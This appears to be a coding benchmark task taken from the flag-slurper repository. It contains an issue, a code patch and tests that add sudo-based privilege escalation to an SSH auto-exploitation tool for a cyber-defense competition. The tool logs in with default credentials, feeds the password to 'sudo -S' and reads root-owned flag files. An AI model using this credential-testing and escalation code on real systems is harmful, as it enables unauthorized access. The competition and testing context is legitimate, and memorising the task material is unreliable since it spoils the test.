Repository: mgerst/flag-slurper

Issue:
Attempt sudo when looking for flags
When attempting to grab a flag (like `/root/...`) as a non-root user, we should attempt to do privilege escalation with sudo in addition to grabbing it as-is.

The exact method used to obtain the flag should be recorded for capture notes.

Discussion:

Patch:
diff --git a/README.md b/README.md
index 667cfb6..f10a106 100644
--- a/README.md
+++ b/README.md
@@ -117,7 +117,7 @@ You can specify as many flags as you want. All of the following fields are requi
  
 Here's an example of an Auto PWN run that obtained flags:
 
-[![asciicast](https://asciinema.org/a/V1NNowGyb2wGmEnhcMEgp6phq.png)](https://asciinema.org/a/V1NNowGyb2wGmEnhcMEgp6phq)
+[![asciicast](https://asciinema.org/a/SZK8Ma0lUzX8H1CE02sLOjVIT.png)](https://asciinema.org/a/SZK8Ma0lUzX8H1CE02sLOjVIT)
 
 Credentials
 -----------
diff --git a/flag_slurper/autolib/exploit.py b/flag_slurper/autolib/exploit.py
index b99b247..b48b9b8 100644
--- a/flag_slurper/autolib/exploit.py
+++ b/flag_slurper/autolib/exploit.py
@@ -1,13 +1,16 @@
-import os
+import logging
 import textwrap
-from typing import List, Tuple, Union, Dict, Any
+import time
+from typing import List, Tuple, Union, Dict, Any, Optional
 
+import os
 import paramiko
 
 FlagConf = Dict[str, Any]
+logger = logging.getLogger(__name__)
 
 
-def find_flags(ssh: paramiko.SSHClient, base_dir='/root') -> List[Tuple[str, str]]:
+def find_flags(ssh: paramiko.SSHClient, base_dir: str = '/root') -> List[Tuple[str, str]]:
     search_glob = os.path.join(base_dir, '*flag*')
 
     _, stdout, stderr = ssh.exec_command('ls {}'.format(search_glob))
@@ -25,20 +28,48 @@ def find_flags(ssh: paramiko.SSHClient, base_dir='/root') -> List[Tuple[str, str
     return found
 
 
-def get_file_contents(ssh: paramiko.SSHClient, file: str) -> Union[str, bool]:
+def get_file_contents(ssh: paramiko.SSHClient, file: str, sudo: Optional[str] = None) -> Union[str, bool]:
     """
     Retrieve the contents of file from the remote server.
 
     This does ***NOT*** use SFTP since teams might disallow SFTP. Granted if you are
     smart enough to disallow SFTP, you probably don't have default creds either, but
     sometimes people mess up.
+
+    :param ssh: The current ssh session to use
+    :param file: The full path to the file to retrieve
+    :param sudo: The sudo password to use if the current session can sudo
+    """
+    ret = get_file(ssh, file, sudo)
+    if ret:
+        ret = ret.decode('utf-8').strip()
+    return ret
+
+
+def get_file(ssh: paramiko.SSHClient, file: str, sudo: Optional[str] = None) -> Union[bytes, bool]:
+    """
+    Retrieve a file from the remote server.
+
+    This does ***NOT*** use SFTP since teams might disallow SFTP. Granted if you are
+    smart enough to disallow SFTP, you probably don't have default creds either, but
+    sometimes people mess up.
+
+    :param ssh: The current ssh session to use
+    :param file: The full path to the file to retrieve
+    :param sudo: The sudo password to use if the current session can sudo
     """
-    _, stdout, stderr = ssh.exec_command('cat {}'.format(file))
-    err = stderr.read()
+    if sudo:
+        logger.debug("Using sudo")
+        _, stdout, stderr = run_sudo(ssh, 'cat {}'.format(file), sudo)
+    else:
+        _, stdout, stderr = ssh.exec_command('cat {}'.format(file))
+
+    err = stderr.read().decode('utf-8').strip()
     if len(err) > 0:
+        logger.error("There was an error getting the file %s: %s", file, err)
         return False
 
-    return stdout.read().decode('utf-8').strip()
+    return stdout.read()
 
 
 def _run_command(ssh: paramiko.SSHClient, command: str) -> str:
@@ -61,3 +92,26 @@ def get_system_info(ssh: paramiko.SSHClient) -> str:
     if len(lsb_release) > 0:
         sysinfo.append('LSB Release:\n{}'.format(textwrap.indent(lsb_release, ' > ')))
     return '\n'.join(sysinfo)
+
+
+def can_sudo(ssh: paramiko.SSHClient, password: str) -> bool:
+    logger.debug("Attempting sudo")
+    command = "sudo -S -p '' whoami"
+    stdin, stdout, _ = ssh.exec_command(command)
+    stdin.write(password + '\n')
+    stdin.flush()
+    user = stdout.read().decode('utf-8').strip()
+    ret = user == "root"
+    if ret:
+        logger.debug("<<<SUDO FOUND>>>")
+    return ret
+
+
+CHAN_FILE_T = Tuple[paramiko.ChannelFile, paramiko.ChannelFile, paramiko.ChannelFile]
+
+
+def run_sudo(ssh: paramiko.SSHClient, command: str, password: str) -> CHAN_FILE_T:
+    stdin, stdout, stderr = ssh.exec_command("sudo -S -p ' ' {}".format(command))
+    stdin.write(password + '\n')
+    stdin.flush()
+    return stdin, stdout, stderr
diff --git a/flag_slurper/autolib/models.py b/flag_slurper/autolib/models.py
index 78b2e1a..16ef36b 100644
--- a/flag_slurper/autolib/models.py
+++ b/flag_slurper/autolib/models.py
@@ -1,8 +1,10 @@
+import click
 import peewee
 import playhouse.db_url
 
 # We want to allow setting up the database connection from .flagrc
 database_proxy = peewee.Proxy()
+SUDO_FLAG = click.style('!', fg='red', bold=True)
 
 
 def initialize(database_url: str):
@@ -54,9 +56,15 @@ class Credential(BaseModel):
     state = peewee.CharField(choices=[WORKS, REJECT])
     bag = peewee.ForeignKeyField(CredentialBag, backref='credentials')
     service = peewee.ForeignKeyField(Service, backref='credentials')
+    sudo = peewee.BooleanField(default=False)
 
     def __str__(self):
-        return "{}:{}".format(self.bag.username, self.bag.password)
+        flags = ""
+
+        if self.sudo:
+            flags += SUDO_FLAG
+
+        return "{}:{}{}".format(self.bag.username, self.bag.password, flags)
 
     def __repr__(self):
         return "<Credential {}>".format(self.__str__())
@@ -78,7 +86,12 @@ class CaptureNote(BaseModel):
     searched = peewee.BooleanField(default=False)
 
     def __str__(self):
-        return "{} -> {}".format(self.location, self.data)
+        flags = ""
+
+        if "Used Sudo" in self.notes:
+            flags += SUDO_FLAG
+
+        return "{} -> {}{}".format(self.location, self.data, flags)
 
 
 def create():  # pragma: no cover
@@ -86,9 +99,9 @@ def create():  # pragma: no cover
 
 
 def delete():  # pragma: no cover
-    CredentialBag.delete()
-    Team.delete()
-    Service.delete()
-    Credential.delete()
-    Flag.delete()
-    CaptureNote.delete()
+    CredentialBag.delete().execute()
+    Team.delete().execute()
+    Service.delete().execute()
+    Credential.delete().execute()
+    Flag.delete().execute()
+    CaptureNote.delete().execute()
diff --git a/flag_slurper/autolib/protocols.py b/flag_slurper/autolib/protocols.py
index c70571e..ef67e80 100644
--- a/flag_slurper/autolib/protocols.py
+++ b/flag_slurper/autolib/protocols.py
@@ -6,7 +6,7 @@ import requests
 import paramiko
 
 from flag_slurper.autolib.exploit import get_file_contents, get_system_info
-from .exploit import find_flags, FlagConf
+from .exploit import find_flags, FlagConf, can_sudo
 from .models import Service, CredentialBag, Credential, Flag, CaptureNote
 
 logger = logging.getLogger(__name__)
@@ -37,17 +37,28 @@ def pwn_ssh(url: str, port: int, service: Service, flag_conf: FlagConf) -> Tuple
                 ssh.connect(url, port=port, username=credential.username, password=credential.password,
                             look_for_keys=False)
                 cred.state = Credential.WORKS
+
+                # Root doesn't need sudo
+                sudo = False
+                if credential.username != "root":
+                    sudo = can_sudo(ssh, credential.password)
+                    if sudo:
+                        cred.sudo = True
+
                 cred.save()
                 working.add(cred)
 
                 sysinfo = get_system_info(ssh)
+                if sudo:
+                    sysinfo += "\nUsed Sudo"
 
                 flag_obj, _ = Flag.get_or_create(team=service.team, name=flag_conf['name'])
 
                 if flag_conf:
                     location = flag_conf['name']
                     full_location = os.path.join(base_dir, location)
-                    flag = get_file_contents(ssh, full_location)
+                    sudo_cred = credential.password if sudo else None
+                    flag = get_file_contents(ssh, full_location, sudo=sudo_cred)
                     if flag:
                         enable_search = False
                         note, created = CaptureNote.get_or_create(flag=flag_obj, data=flag, location=full_location,
@@ -58,8 +69,10 @@ def pwn_ssh(url: str, port: int, service: Service, flag_conf: FlagConf) -> Tuple
                     for flag in flags:
                         CaptureNote.get_or_create(flag=flag_obj, data=flag[1], location=flag[0], notes=str(sysinfo),
                                                   searched=True, service=service)
-        except Exception:
+        except paramiko.ssh_exception.AuthenticationException:
             continue
+        except Exception:
+            logger.exception("There was an error pwning this service: %s", url)
 
     if working:
         return "Found credentials: {}".format(working), True, False
diff --git a/flag_slurper/autopwn.py b/flag_slurper/autopwn.py
index 42b1426..b0a625d 100644
--- a/flag_slurper/autopwn.py
+++ b/flag_slurper/autopwn.py
@@ -4,6 +4,7 @@ from multiprocessing import Pool
 
 import click
 
+from flag_slurper.autolib.models import SUDO_FLAG
 from . import utils, autolib
 from .autolib import models
 from .config import Config
@@ -128,7 +129,8 @@ def results():
 
     p.connect_database()
 
-    utils.report_status("Found the following credentials")
+    utils.report_status("Found the following flags")
+    utils.report_status("Key: {} Used Sudo".format(SUDO_FLAG))
     flags = models.Flag.select()
     if len(flags) == 0:
         utils.report_warning('No Flags Found')
@@ -141,12 +143,13 @@ def results():
                 "{}/{}: {} -> {}".format(flag.team.number, note.service.service_name, note.location, note.data))
         elif len(notes) > 1:
             data = "\n\t".join(map(str, notes))
-            utils.report_success("{}/{}:\n{}".format(flag.team.number, notes[0].service.service_name, data))
+            utils.report_success("{}/{}:\n\t{}".format(flag.team.number, notes[0].service.service_name, data))
         else:
             continue
 
     click.echo()
     utils.report_status("Found the following credentials")
+    utils.report_status("Key: {} Sudo".format(SUDO_FLAG))
 
     services = models.Service.select()
     for service in services:
diff --git a/provision/host_vars/team3.yml b/provision/host_vars/team3.yml
index 8bf81c6..4d0b64a 100644
--- a/provision/host_vars/team3.yml
+++ b/provision/host_vars/team3.yml
@@ -1,4 +1,3 @@
 # root:other
 root_password: "$6$.d8jGpv1krw3G$s5nA6ydHLsL9L2Isj5nMqtb.Zo8oW4JtexzA2jEVna9uG6oZkEjWwoBfsHspD/4hrH6qBx//aSSrhbKSRp3ls/"
-
-
+nosudo: true
diff --git a/provision/main.yml b/provision/main.yml
index b11306a..cb23641 100644
--- a/provision/main.yml
+++ b/provision/main.yml
@@ -28,6 +28,21 @@
           - plugdev
           - netdev
 
+    - name: "Create non-sudo user: nosudo:cdc"
+      user:
+        name: nosudo
+        password: "$1$kejaef$s8Y0EuYOIiDSSiItk8zLv1"
+        shell: /bin/bash
+        groups:
+          - cdrom
+          - floppy
+          - audio
+          - dip
+          - video
+          - plugdev
+          - netdev
+      when: nosudo is defined
+
     - name: Change root password
       user: name=root password="{{ root_password }}"
 
@@ -45,7 +60,7 @@
         line: 'PermitRootLogin yes'
       notify: restart ssh
 
-    - name: Create flag for {{ inventory_hostname }}
+    - name: Create flag for each host
       copy:
         dest: /root/{{ inventory_hostname }}_www_root.flag
         content: "{{ lookup('password', 'flags/' + inventory_hostname + '_www_root.flag length=50') }}"


Test patch:
diff --git a/tests/autolib/test_models.py b/tests/autolib/test_models.py
index a3f1859..4302a52 100644
--- a/tests/autolib/test_models.py
+++ b/tests/autolib/test_models.py
@@ -1,6 +1,9 @@
+import click
 import pytest
 
-from flag_slurper.autolib.models import CredentialBag, Credential
+from flag_slurper.autolib.models import CredentialBag, Credential, CaptureNote
+
+SUDO_FLAG = click.style('!', fg='red', bold=True)
 
 
 @pytest.fixture
@@ -8,11 +11,21 @@ def bag():
     return CredentialBag(username='root', password='cdc')
 
 
+@pytest.fixture
+def sudobag():
+    return CredentialBag(username='cdc', password='cdc')
+
+
 @pytest.fixture
 def credential(bag, service):
     yield Credential(bag=bag, state=Credential.WORKS, service=service)
 
 
+@pytest.fixture
+def sudocred(sudobag, service):
+    yield Credential(bag=sudobag, state=Credential.WORKS, service=service, sudo=True)
+
+
 def test_cred_bag__str__(bag):
     assert bag.__str__() == "root:cdc"
 
@@ -27,3 +40,21 @@ def test_cred__str__(credential):
 
 def test_cred__repr__(credential):
     assert credential.__repr__() == "<Credential root:cdc>"
+
+
+def test_cred_sudo__str__(sudocred):
+    assert sudocred.__str__() == "cdc:cdc{}".format(SUDO_FLAG)
+
+
+def test_cred_sudo__repr__(sudocred):
+    assert sudocred.__repr__() == "<Credential cdc:cdc{}>".format(SUDO_FLAG)
+
+
+def test_capture_note__str__(flag, service):
+    note = CaptureNote(flag=flag, service=service, data='abcd', location='/root/test.flag', notes='did stuff')
+    assert note.__str__() == "/root/test.flag -> abcd"
+
+
+def test_capture_note_sudo__str__(flag, service):
+    note = CaptureNote(flag=flag, service=service, data='abcd', location='/root/test.flag', notes='did stuff\nUsed Sudo')
+    assert note.__str__() == "/root/test.flag -> abcd{}".format(SUDO_FLAG)
diff --git a/tests/conftest.py b/tests/conftest.py
index 02bafe2..ddc3a8f 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -65,3 +65,8 @@ def invalid_service(team):
     yield models.Service.create(remote_id=2, service_id=2, service_name='WWW Custom', service_port=10391,
                                 service_url='www.team1.isucdc.com', admin_status=None, high_target=0, low_target=0,
                                 is_rand=False, team=team)
+
+
+@pytest.fixture
+def flag(team):
+    yield models.Flag.create(id=1, team=team, name='Test Team')